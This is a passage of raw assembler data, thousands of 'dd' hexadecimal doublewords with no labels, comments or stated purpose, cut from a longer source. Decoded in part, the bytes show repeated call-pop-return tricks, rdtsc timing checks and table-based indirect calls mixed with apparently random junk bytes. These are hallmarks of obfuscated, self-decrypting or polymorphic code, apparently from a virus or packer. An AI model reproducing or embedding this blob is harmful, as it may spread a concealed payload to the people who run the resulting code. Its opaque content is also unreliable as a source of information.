		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 66C08B00h, 8BCF31BBh, 62481BDh, 49BD8306h
		dd 306062Eh, 455850Fh, 0B5890000h, 6062D79h, 0A4A4BD83h
		dd 0F000609h, 44284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 9D892916h, 6061A71h, 0A4A4B5FFh
		dd 6A0609h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 43A3F6C3h, 880FF735h, 0Ch, 68F0Fh, 0BD290000h
		dd 6061A31h, 0FF5AC380h, 60D7195h, 0F9B70F06h, 0A498B58Bh
		dd 6A0609h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0F7B539C3h, 89BD3660h, 6200D85h, 106C706h
		dd 6A000100h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 34DC353h, 70B36050h, 0DE860h
		dd 0D9EB0000h, 3E2CB32Fh, 0B48FE166h, 5A628176h, 61616160h
		dd 0F243489h, 84h, 0A4B5FF00h, 6A0609A4h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0D85FC350h
		dd 41DB89DCh, 168D0F64h, 0E9000000h, 11h, 0DD55F2B0h, 0AC225BAh
		dd 0D6DC4FA8h, 0CD7D3D5Ch, 4995FF6Ch, 2906061Eh, 60E9D9Dh
		dd 98B58B06h, 6A0609A4h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 6313C350h, 6E931h
		dd 0B84C0000h, 0DD204B7h, 2FC5858Bh, 0BB660606h, 868934E6h
		dd 0C4h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 18h,	0A1C35646h, 5D579A50h, 0D27F381h, 0BD89086Ah, 6062DB5h
		dd 28DD958Bh, 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0E7FE09C3h, 2C3A90A9h, 10E957h
		dd 0A8D80000h, 3B5D1F0Dh, 0B2DCCB88h, 9B441D41h, 0D4BF526Ah
		dd 8343104Ah, 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 89768EC3h, 61DE98Dh, 71BD8B06h
		dd 89060604h, 6A2050h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0DDC067C3h, 0C513F8F7h, 0DE8BB34Fh
		dd 0B775858Dh, 9E90609h, 0B2000000h, 827CE849h,	72E90ED4h
		dd 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 1D01EDC3h, 890Fh, 6A0000h, 0FE59D8Bh
		dd 0B5FF0606h, 609A4A4h, 0D99BD8Bh, 95FF0606h, 6062C1Dh
		dd 0F5096FCh, 0A81h, 52506000h,	585A310Fh, 96616160h, 8D9D0160h
		dd 8106062Eh, 7DB5AC0h,	8B536143h, 61155BDh, 0B5FF5F06h
		dd 609A4A4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	92C35646h, 0B6B9CFADh, 68D0F9Bh, 89000000h, 6272595h
		dd 0B99D8B06h, 0FF060600h, 61CA595h, 14E906h, 0B9070000h
		dd 0EDF738BEh, 2D25E73Ah, 0FB275666h, 308E5F40h, 6650D5F2h
		dd 5F9220BBh, 1C99BD83h, 0F000606h, 2584h, 0F7816600h
		dd 66506409h, 895284BBh, 9602434h, 6176DB5h, 0BE906h, 81030000h
		dd 0E0FFA065h, 273A2D71h, 0B5FF61EFh, 609A4A4h,	14E8h
		dd 2D71E000h, 7EF273Ah,	0DAC1A679h, 58F460C5h, 67DABB28h
		dd 32E78054h, 0E5BD8B5Fh, 0FF06061Eh, 61FFD95h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8960DB29h, 625D9BDh,	7BE78106h, 616648C8h, 0A4A4B5FFh
		dd 6A0609h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8A9745C3h, 1995FFF8h, 6A06062Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 993BC356h, 0C59D8986h, 83060601h, 62F65BDh, 840F0206h
		dd 3Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh
		dd 0A1C35545h, 4647A7CBh, 801D651Ch, 0D8BF0F88h, 15F1858Bh
		dd 0F88A0606h, 0F0000C6h, 685h,	29858900h, 0C706061Fh
		dd 6034D85h, 6,	0E902B700h, 0FFFFF2A4h,	6AC18Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 91B1D5C3h, 297AF661h, 9E9FCh, 0E0590000h, 0B185F4CBh
		dd 8D3BFFA1h, 6236985h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 6FF67C1Ch, 8B904E6Fh
		dd 0D98B50D9h, 0F5BF6690h, 0E6816055h, 7BA43325h, 0D35AB866h
		dd 6A006A61h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 9E27C356h, 0B03D4152h,	0C5BD027Dh
		dd 88E0Fh, 800F0000h, 2, 9D8BDA8Bh, 6060709h, 0B531006Ah
		dd 6061FE5h, 73BD858Dh,	0BF66060Ah, 9CBBA3FBh, 83409926h
		dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 3A3E18C3h, 76F566CAh, 90144EE0h, 0AE860h
		dd 0BD40000h, 0C44A2EF2h, 0A8358A88h, 6050615Fh, 9E851h
		dd 0C8D40000h, 3C782CD5h, 5A35B62Bh, 6134B15Fh,	57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0DAEDEF2h, 0FD374E55h, 5E9h,	0BDC00700h, 6A8A8Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D4C35343h, 4E0D516Ch
		dd 6A941Fh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 14h,	5EC35747h, 1581B589h, 95FF0606h, 6062F9Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8EC35646h, 0F1FD2738h
		dd 31BF6692h, 158D8D75h, 6A060995h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0BAC3C353h
		dd 0F51D14Bh, 80h, 0D1FF5F00h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 3EC35747h, 0BD83151Eh, 6061D3Dh
		dd 0AF850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 6117C350h, 0B972DBCh
		dd 61019BDh, 6A026A06h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8B30C353h, 61525BDh
		dd 8F0F5006h, 5, 0C5DC14BFh, 24048973h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 16h, 0B5C35343h, 8D89F972h
		dd 6061659h, 0EFDBD8Bh,	95FF0606h, 6062C1Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0D6C35040h, 0B1E86448h
		dd 1B6D9589h, 0A8E90606h, 0E800000Dh, 0
		dd 0C7ED815Dh, 60060A73h, 0BDE08166h, 35958983h, 61060616h
		dd 6CED31BBh, 4D85896Fh, 8D060614h, 98EE585h, 90FB8B06h
		dd 0EE8h, 7B6F8200h, 3DD11Ah, 0C3B78D99h, 8B850DDEh, 60505FF8h
		dd 0FE8h, 0AE1BE600h, 67D93380h, 0A62612ADh, 9C0CB6A0h
		dd 505E6160h, 92BE6652h, 66310F53h, 585AF08Bh, 6A9061h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0F16E7C3h, 6FFEC162h, 35FF6427h, 0
		dd 2159BD89h, 89640606h, 25h, 58BB00h, 85FF5131h, 6060F5Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CFC35141h
		dd 0F5BC494Eh, 0DF8BCA84h, 66FCFF6Ah, 0A742E381h, 2EF1B5FFh
		dd 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 3D2C08C3h, 0FD95FF0Dh, 0E9060612h, 135h
		dd 1EF99D8Bh, 0B00606h,	2F0D8D89h, 70E60606h, 261D9D8Bh
		dd 71E40606h, 830F613Ch, 115h, 33D1BD8Bh, 0B60F0606h, 6850FC8h
		dd 29000000h, 62D8D8Dh,	0EE806h, 7A140000h, 62EA22BFh
		dd 0B44C9D8Eh, 0BF8B30FDh, 2890Fh, 5B530000h, 6BA5Fh, 840F0000h
		dd 6, 14D9BD8Bh, 0C18B0606h, 49BD8B51h,	5F06062Ch, 6604E8C1h
		dd 0F766DA8Bh, 15DF80E2h, 8166C82Bh, 8BAAA3EBh,	1D8589D1h
		dd 0E9060603h, 9, 38C0Fh, 0D7800000h, 75858B65h, 2B060631h
		dd 617C9BDh, 835B5006h,	13E807C0h, 39000000h, 23C802F6h
		dd 0A34B7C7Fh, 1D7CD906h, 18297ED1h, 6650FCACh,	5B6F6DBBh
		dd 0C0835Bh, 9D89F88Bh,	606159Dh, 830FD03Bh, 0Bh, 58E9h
		dd 8DBD2900h, 8B060610h, 60E458Dh, 95858906h, 83060614h
		dd 840F01E1h, 3Dh, 0FACA00BFh, 45A5837Dh, 0FE06060Eh, 13E9h
		dd 44066400h, 17DA98Ah,	3E4D7E0Dh, 4FC20815h, 4F80BA76h
		dd 31759589h, 8B600606h, 6139185h, 65B58B06h, 6106061Fh
		dd 0E9h, 0FB58D00h, 6A0609F0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E9EFC352h,	5, 0F00BA291h
		dd 68E0F02h, 89000000h,	614459Dh, 0F006A06h, 95FFFFB7h
		dd 6061AC9h, 336DBF66h,	763B9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 6CE7CB61h
		dd 144535Ah, 0C9952916h, 8306061Bh, 9D01FCE1h, 6061699h
		dd 399D29FCh, 0B8060625h, 0
		dd 0BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 1FE852CFh, 0B44FF08Eh, 0EE9B6h, 94A80000h
		dd 3B98FC25h, 53A66BA5h, 9A70F510h, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 255F2DBBh, 57006A75h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0F9E9775Bh
		dd 0EEBF66D1h, 1DCB80EAh, 880Dh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0B47740A3h
		dd 0F2C0167Eh, 958B08C5h, 60628DDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 66C35545h, 89235040h, 61CB5B5h
		dd 118D8B06h, 0E9060611h, 6, 9B408D7h, 8B50FDB1h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 12C35646h, 0B70FE731h, 6850FDEh
		dd 8B000000h, 61EAD9Dh,	0F5BD8306h, 6061Ah, 61840Fh, 9D890000h
		dd 6060895h, 0B8h, 41953100h, 8D06061Fh, 64ED28Dh, 0FFD88B06h
		dd 51006AE1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0CEF4BE5Dh, 398D8997h, 0E8060602h, 14h
		dd 6C3446AFh, 4C006AB1h, 0E834E29h, 9E50A51Eh, 2644D205h
		dd 1A21BD8Bh, 835B0606h, 62E49BDh, 840F0006h, 4D0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 65C35545h, 0BD830311h
		dd 6062E49h, 0C0840F01h, 6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0C33BC351h
		dd 924C5302h, 6628011Eh, 0BD83D98Bh, 6062E49h, 56860F03h
		dd 0B3000004h, 0BD2B605Dh, 6060D5Dh, 6AD98C66h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0C3C5C356h, 81A9BF66h, 6A04E180h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D64EC352h
		dd 44E4724Eh, 99BD8B40h, 0E8060613h, 9,	0F7D37CEh, 0C23C4143h
		dd 0F781667Bh, 0A5B3F8Fh, 0D1840FC9h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 7ACDC351h, 8BF9B70Fh, 6258985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 135AAC4Eh
		dd 2585332Fh, 50060634h, 89D98B66h, 0DE8B2404h,	82DB8166h
		dd 89006A36h, 62D059Dh,	7FCD6806h, 6652A93Fh, 815FF98Bh
		dd 84322404h, 6A56DFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0DC24C4C3h, 22188F95h, 95FF5EFDh
		dd 6062221h, 0A48589F8h, 6A0609A4h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0C50C355h
		dd 27EE9F9h, 0C7810000h, 2AF4EA15h, 2238BF66h, 0A49C858Bh
		dd 6A0609h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 13564AC3h, 8589CDABh, 6061681h, 1800C7h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 16C6F0C3h, 9ECE5DD8h, 5375A0BBh, 6890Fh
		dd 0BD8B0000h, 606010Dh, 0BD89605Fh, 6062D49h, 1EE59D29h
		dd 8B610606h, 9A4A0B5h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0BE4C9FDFh, 29603155h
		dd 6200DB5h, 0B5896106h, 606299Dh, 2DA9858Bh, 0DE80606h
		dd 0C1000000h, 26523554h, 0C3A25966h, 0BECC551Bh, 68F0Fh
		dd 0BD8B0000h, 6061D89h, 8A06895Fh, 89858BFCh, 6A060625h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 500CC352h, 62DFA61Fh, 8B9169F1h, 44689FBh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 98C35040h
		dd 0BD2ACD7Bh, 183B4D7Dh, 0C830Fh, 880F0000h, 6, 7119D8Bh
		dd 50960606h, 1361BB52h, 310F5D5Eh, 0F94FBF60h,	0F78B2826h
		dd 50585A61h, 0F98A5250h, 5250310Fh, 830Fh, 310F0000h
		dd 585AFD8Ah, 2996585Ah, 6279D8Dh, 9CB5FF06h, 600609A4h
		dd 0F158D31h, 11E90606h, 0D9000000h, 0EC2771FAh, 0D3329C64h
		dd 0C969D98Dh, 0AF911706h, 4E861h, 3FF0000h, 0CCBF001Fh
		dd 504ADBFEh, 448B69B3h, 52500424h, 11E8h, 0DDD55B00h
		dd 0E07FF73Ah, 0B5111FF1h, 0BCD2ED5Fh, 52506DB4h, 585A310Fh
		dd 5A310F5Fh, 0BF008B58h, 1EBE69B5h, 4244489h, 0AE9h, 6C88F00h
		dd 8E78FEE0h, 585FD9FBh, 8DF88B66h, 9A4A485h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 8B0F904Ah, 3, 50DF8B66h, 5B4BBF66h, 51006A90h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 47C17DE9h, 0F221DC70h, 81564C7Ch, 0BB9DAEF7h, 0FFF55B52h
		dd 6222195h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0C5603CFFh, 0FD6AACBEh, 1830FD6h
		dd 0FC000000h, 50006A61h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 36BAB4A3h, 2E4985C7h
		dd 30606h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 4676F3C3h, 0FE8B231Dh, 0A4A4BD83h
		dd 0F000609h, 4484h, 3860F00h, 66000000h, 51E9D98Bh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 2BECC352h, 13E946h, 436C0000h, 55C17B0Ch
		dd 0D4DC152Ah, 1B15A370h, 3C7276F7h, 0C305065h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 99D8BF5h,	0F060613h
		dd 0E85h, 8E800h, 0FA6A0000h, 65CD4CE4h, 835FE1E4h, 62E49BDh
		dd 850F0306h, 3EEh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 4CC35343h, 8B52FC60h,	6274D9Dh, 60615906h
		dd 6E9h, 9916900h, 0E99ADA14h, 6, 455EE902h, 836155FAh
		dd 9A4A4BDh, 840F0006h,	3A2h, 0A4A4B5FFh, 0CE90609h, 0A1000000h
		dd 0D0210A55h, 1974F04Dh, 0FFEBC69Fh, 60D7195h,	0A1D38106h
		dd 8B183B7Ah, 9A498B5h,	31B52906h, 0C7060634h, 1000106h
		dd 8D296000h, 6062C0Dh,	840F5061h, 0
		dd 66243489h, 0D0C1D781h, 0A4A4B5FFh, 8F0F0609h, 0
		dd 1E4995FFh, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 219241C3h, 8B0518C8h, 9A498B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 7F118962h, 0CF80CD1Ah, 0C5858B5Dh, 6A06062Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0B169C352h, 86893EDDh, 0C4h, 8BFA8B66h, 628DD95h
		dd 8E906h, 0C0080000h, 6E37A974h, 0C283DFCDh, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 6F312A69h, 1D9D8B30h, 0F8060612h, 0FC205089h, 0B775858Dh
		dd 6A0609h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 8589DEC3h, 6062249h, 0B88689h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 72B7E6C3h, 0D14C2873h, 17C9BD31h, 12E80606h,	73000000h
		dd 73E778DDh, 3B27168Fh, 3C35668Ah, 87162FF6h, 0DF8166D4h
		dd 6A5FBC36h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 199376E6h, 0ABC20CFCh, 0A4B5FFF8h
		dd 6A0609A4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0AF38C355h, 2987EA09h,	62AA58Dh
		dd 1D95FF06h, 6A06062Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0DB4EC350h,	24348950h
		dd 2F4D8501h, 0B5FF0606h, 609A4A4h, 0D694BB66h,	22999589h
		dd 95FF0606h, 6061CA5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 95C35242h, 93D2FA70h,	8D9D8BB5h, 29060621h
		dd 6103D8Dh, 99BD8306h,	6061Ch,	42840Fh, 0BF660000h, 0B5890967h
		dd 6060D8Dh, 0F525050h,	583h, 193FBF00h, 310F65F9h, 3489585Ah
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 8D89E0E6h, 60610F5h, 0A4A4B5FFh,	6A0609h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0C9033EC3h, 4A73228h, 669A2542h, 5FB5C381h, 1FFD95FFh
		dd 0DF8B0606h, 0A4A4B5FFh, 6A0609h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 889FFBC3h
		dd 95FF6E1Fh, 6062B19h,	60DBBF0Fh, 830Fh, 83610000h, 62F65BDh
		dd 840F0206h, 7Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0C9C35747h, 0F1570E5Ah, 0D8A4FF44h, 39BD8B6Bh
		dd 8B060626h, 615F185h,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0C61330D5h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0F4D604C3h, 0CCDEE026h, 663E1EF9h, 85C7FA8Bh, 606034Dh
		dd 0
		dd 2A8D8531h, 51E90606h, 6AFFFFF3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 98C351h
		dd 10699D8Bh, 0C18B0606h, 8DDAB70Fh, 6236985h, 50FDB306h
		dd 0BF665250h, 310F22E8h, 489585Ah, 6AFE8B24h, 6810F00h
		dd 1000000h, 626F985h, 6A006A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0D14DC356h
		dd 0B5299C0Eh, 6061419h, 83B2858Dh, 6A060Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 5AE4C8C3h
		dd 9DA4E21Bh, 0D99D8B1Ah, 8306062Dh, 8D8905C0h,	606222Dh
		dd 0B70F5760h, 816658C1h, 610D2ACAh, 5E950h, 0F0780000h
		dd 896B4509h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 6A4787C3h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 89F7E537h
		dd 62CD1BDh, 81006A06h,	0DC68D1D7h, 9D95FF73h, 6A06062Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0FC0C353h, 1184h,	0CE900h, 30CE0000h, 0A14A4DB2h
		dd 0B37DD362h, 8D8DB3FAh, 6099515h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 5EC35040h, 0EF6E09FBh, 0B28A1FC4h
		dd 0D95890Fh, 0F06062Fh, 1A89h,	13E95200h, 29000000h, 0DB93B838h
		dd 0DC9DDE13h, 641EDDCh, 1406B45Fh, 0FF5BCC39h,	55006AD1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 6369E33Dh, 66A9E0C7h, 366EC781h, 1D3DBD83h, 0F010606h
		dd 9E85h, 2820F00h, 8B000000h, 0E9026ADAh, 0Fh,	0BEE9228Ch
		dd 0EA69C868h, 55512467h, 90E2BF3Ah, 0E8605250h, 9, 0F28EB1E8h
		dd 66414DD3h, 850F5B72h, 0
		dd 0E8310F61h, 11h, 7CECDF50h, 3E25AEA6h, 66AEA9BDh, 0BF0C2751h
		dd 0F525084h, 5B585A31h, 0F50585Ah, 0C84h, 52525000h, 66310F5Bh
		dd 5A7C90BBh, 0FFFC9058h, 62C1D95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0EA651398h
		dd 8BBCF6CBh, 71BD8BDFh, 0E9060628h, 0DBEh, 0E8h, 0ED815D00h
		dd 60A83BCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	15C35343h, 2E9FB1BBh, 0E381660Dh, 0DF81597Ch, 738BC8A6h
		dd 8EE5858Dh, 0B5890609h, 60623D5h, 2EABB90h, 53506CD0h
		dd 9D8B905Bh, 6062D55h,	35FF64h, 89000000h, 626C98Dh, 25896406h
		dd 0
		dd 33F3BF66h, 0F5D85FFh, 6A0606h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0DC8AE9C3h, 4FFD6DC3h
		dd 95899FDBh, 6063419h,	6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 6BBCF7C3h, 6669835Fh
		dd 0FFBDADBBh, 62AD5B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 27BF6516h, 79947C5Ah
		dd 6E9h, 0EDBA5500h, 0FFF3213Fh, 612FD95h, 0E7E906h, 0B00000h
		dd 25DBD89h, 70E60606h,	2D318589h, 71E40606h, 1A419D8Bh
		dd 613C0606h, 0C7830Fh,	6E90000h, 91000000h, 0F5395FA1h
		dd 0C8B60F5Fh, 0ACEB8166h, 6BA84h, 8B560000h, 612319Dh
		dd 0C18B5F06h, 0C1DEBF0Fh, 950904E8h, 6062479h,	66E2F766h
		dd 0C34C781h, 2ED9BD8Bh, 0C82B0606h, 139D9D29h,	89500606h
		dd 61F0585h, 0D18B5F06h, 3E9h, 0F98B6600h, 1355858Bh, 83F90606h
		dd 9D8B07C0h, 60620BDh,	15DD8589h, 0C0830606h, 6820F00h
		dd 8B000000h, 60459BDh,	0FD03B06h, 1183h, 0F5958900h, 0E9060601h
		dd 39h,	1CB19D29h, 8D8B0606h, 6061DD9h,	83DBBF0Fh, 840F01E1h
		dd 21h,	0D9A583FCh, 0FE06061Dh,	0F7DB531h, 0DE8A0606h
		dd 13559589h, 0BD8B0606h, 60600B9h, 0E9h, 63B58D00h, 0FC0609F9h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 5F7E8FC3h, 0BF98C03Ch, 0C995FF30h, 5306061Ah
		dd 0FB97BBBFh, 0FAB95B4Ch, 6A000006h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 7EFAC355h
		dd 59D8B1Ch, 83060634h,	6AFCE1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 9604BBC3h, 0CB81FC0Ch
		dd 17DA593Ah, 51006AFCh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 42253A3Bh, 8D01DF8Bh, 6063041h, 12E9C02Bh
		dd 27000000h, 339AE408h, 5E71F3DBh, 85AF645Dh, 1CBB6A9Ah
		dd 0BAC8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0FE167C3h, 0D98AD9BFh, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 48C35343h, 40120F46h,	0F60E94Ch, 13E9D8BFh
		dd 79000000h, 0C2BAA86Fh, 0FCEB6D19h, 2E8EB5E6h, 8D28BA4Eh
		dd 0D617650h, 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0E4C35646h, 3D9D0907h, 8B060610h, 628DD95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 287372B7h, 8BDEB74Ch, 611118Dh, 0F5952906h
		dd 50060630h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 5EE187D9h, 60F89E4Dh, 816601E1h,	6A6BF2EFh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 8B16C357h, 0C7F311B5h, 8E0F8EF0h,	0
		dd 1AF5BD83h, 0F000606h, 4F84h,	0B800h,	6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F667DCC3h, 43CD8A30h, 850F273Fh, 5,	1D38166h, 8DFA8BD7h
		dd 64ED28Dh, 0AE906h, 21000000h, 0D276976Eh, 0DD1CA97h
		dd 96B7E1FFh, 2E49BD83h, 0F000606h, 50184h, 5820F00h, 66000000h
		dd 6631EF81h, 2E49BD83h, 0F010606h, 50484h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 62BB66E3h, 49BD83FCh, 306062Eh, 4A1860Fh, 81660000h
		dd 60CD0AD7h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	87C35747h, 4381B910h, 8C661F53h, 51006AD9h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 313F0CA7h, 61ED98Dh,	4E18006h, 0FE9h, 0AA0AF400h, 0CFFAD7A3h
